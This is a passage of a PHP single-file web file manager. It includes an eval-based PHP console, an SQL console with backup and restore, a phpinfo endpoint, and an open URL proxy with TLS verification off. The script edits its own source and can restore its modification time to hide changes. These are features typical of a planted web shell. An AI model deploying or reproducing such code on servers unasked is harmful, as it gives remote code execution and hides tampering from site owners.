'>' . __('French') . '</option> <option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option> </select> </form> '; } function fm_root($dirname) { return $dirname == '.' or $dirname == '..'; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '<pre>' . stripslashes($vdump) . '</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < $num_fields - 1) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __('Success') . ' — ' . $sqlFileToExecute; } else { return $sqlErrorText . '<br/>' . $stmt; } } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) { return $_SERVER['HTTP_SCHEME'] . '://'; } if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') { return 'https://'; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return 'https://'; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { return 'https://'; } return 'http://'; } function fm_site_url() { return fm_protocol() . $_SERVER['HTTP_HOST']; } function fm_url($full = false) { $host = $full ? fm_site_url() : '.'; return $host . '/' . basename(__FILE__); } function fm_home($full = false) { return ' <a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_' . $lng . '_console']) ? ' <form method="post" action="' . fm_url() . '" style="display:inline"> <input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&', '&', $matches[2]); $url = isset($_GET['url']) ? $_GET['url'] : ''; $parse_url = parse_url($url); $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/'; if (substr($link, 0, 2) == '//') { $link = substr_replace($link, fm_protocol(), 0, 2); } elseif (substr($link, 0, 1) == '/') { $link = substr_replace($link, $host, 0, 1); } elseif (substr($link, 0, 2) == './') { $link = substr_replace($link, $host, 0, 2); } elseif (substr($link, 0, 4) == 'http') { //alles machen wunderschon } else { $link = $host . $link; } if ($matches[1] == 'href' && !strripos($link, 'css')) { $base = fm_site_url() . '/' . basename(__FILE__); $baseq = $base . '?proxy=true&url='; $link = $baseq . urlencode($link); } elseif (strripos($link, 'css')) { //как-то тоже подменять надо } return $matches[1] . '="' . $link . '"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl . '_templates'}; $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true); $str = ''; foreach ($tpl_arr as $ktpl => $vtpl) { $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]" cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>'; } return ' <table> <tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr> ' . $str . ' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value" cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])) { if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) { setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']); $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>' . __('File manager') . '</title> </head> <body> <form action="" method="post"> ' . __('Login') . ' <input name="login" type="text"> ' . __('Password') . ' <input name="password" type="password"> <input type="submit" value="' . __('Enter') . '" class="fm_input"> </form> ' . fm_lang_form($language) . ' </body> </html> '; die; } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_url() . '?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings') . ' ' . __('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) { $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; } $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) { $msg .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login']; } if ($_POST['fm_login']['password'] != $auth['password']) { $msg .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password']; } $auth = $_POST['fm_login']; } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl . '_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl . '_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl . '_templates'} = $fm_php; $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } else { $msg .= __('Error occurred'); } } } // Just show image if (isset($_GET['img'])) { $file = base64_decode($_GET['img']); if ($info = getimagesize($file)) { switch ($info[2]) { //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext = 'gif'; break; case 2: $ext = 'jpeg'; break; case 3: $ext = 'png'; break; case 6: $ext = 'bmp'; break; default: die; } header("Content-type: image/{$ext}"); echo file_get_contents($file); die; } } // Just download file if (isset($_GET['download'])) { $file = base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die; } // Mini proxy, many bugs! if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) { $url = isset($_GET['url']) ? urldecode($_GET['url']) : ''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> ' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55"> <input type="submit" value="' . __('Show') . '" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1' . '<style>' . fm_home_style() . '</style>' . $proxy_form, $result); echo $result; die; } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?php echo __('File manager'); ?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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